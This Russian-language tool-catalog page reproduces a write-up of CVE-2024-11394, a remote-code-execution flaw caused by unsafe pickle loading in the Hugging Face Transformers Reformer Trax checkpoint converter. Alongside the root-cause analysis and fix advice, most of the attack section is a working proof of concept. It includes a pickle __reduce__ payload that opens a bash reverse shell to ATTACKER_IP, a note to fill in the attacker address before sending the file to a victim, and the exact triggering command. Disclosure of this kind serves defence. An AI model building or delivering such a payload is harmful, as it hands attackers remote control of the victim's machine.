Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-11394 — Технические детали и эксплойт для CVE-2024-11394 | Kitploit
Инструменты/GitHubGitHub/piyush-bhor/cve-2024-11394
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеБезопасность ИИ
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

Технические детали и эксплойт для CVE-2024-11394

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-11394

Уязвимость удаленного выполнения кода при десериализации недоверенных данных в модели Trax библиотеки Hugging Face Transformers

Обзор высокого уровня и последствия уязвимости:
Уязвимость позволяет злоумышленнику выполнить произвольный код на хост-машине, предоставив вредоносный файл контрольной точки reformer trax скрипту convert_reformer_trax_checkpoint_to_pytorch.py из репозитория Hugging Face Transformers.
Если ничего не подозревающий пользователь использует сторонний файл контрольной точки reformer trax, выполнение скрипта convert_reformer_trax_checkpoint_to_pytorch.py приведет к удаленному выполнению кода (RCE) на системе жертвы.

Уязвимый продукт

  • Продукт: Hugging Face Transformers
  • Модуль: Reformer
  • Файл: transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • Версия: Последняя
  • Постоянная ссылка GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py

Анализ первопричины

  • Подробное описание уязвимости: Уязвимость возникает из-за небезопасной десериализации недоверенных данных. Скрипт использует pickle.load для загрузки файла контрольной точки и уязвим для выполнения кода.

  • Поток кода от ввода до уязвимого состояния:

  1. Пользователь загружает стороннюю модель reformer trax.
  2. Пользователь запускает скрипт convert_reformer_trax_checkpoint_to_pytorch.py и передает ему файл контрольной точки.
  3. Скрипт convert_reformer_trax_checkpoint_to_pytorch.py десериализует файл контрольной точки и выполняет вредоносный код.
  • Точка внедрения: Уязвимость возникает в точке вызова pickle.load.
    Постоянная ссылка GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • Рекомендуемые исправления: Замените pickle.load на yaml.safe_load(yaml_file) или json.load, чтобы предотвратить выполнение произвольного кода.

  • Инструкции по выполнению proof-of-concept:

  1. Запустите exploit.py, чтобы создать вредоносный pickle-файл malicious.pkl, который создаст обратную оболочку на системе жертвы:
root@kitploit:~
# exploit.py

import pickle   
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

Примечание: Измените ATTACKER_IP и ATTACKER_PORT перед отправкой файла жертве.

  1. Создайте файл конфигурации config.json:
root@kitploit:~
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. Запустите скрипт convert_reformer_trax_checkpoint_to_pytorch.py и передайте файл malicious.pkl параметру --trax_model_pkl_path:
root@kitploit:~
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

Примечание: Параметр pytorch_dump_folder_path может быть установлен в любую директорию.

Ссылка для загрузки ПО:
https://github.com/huggingface/transformers/tree/main

Скачать инструмент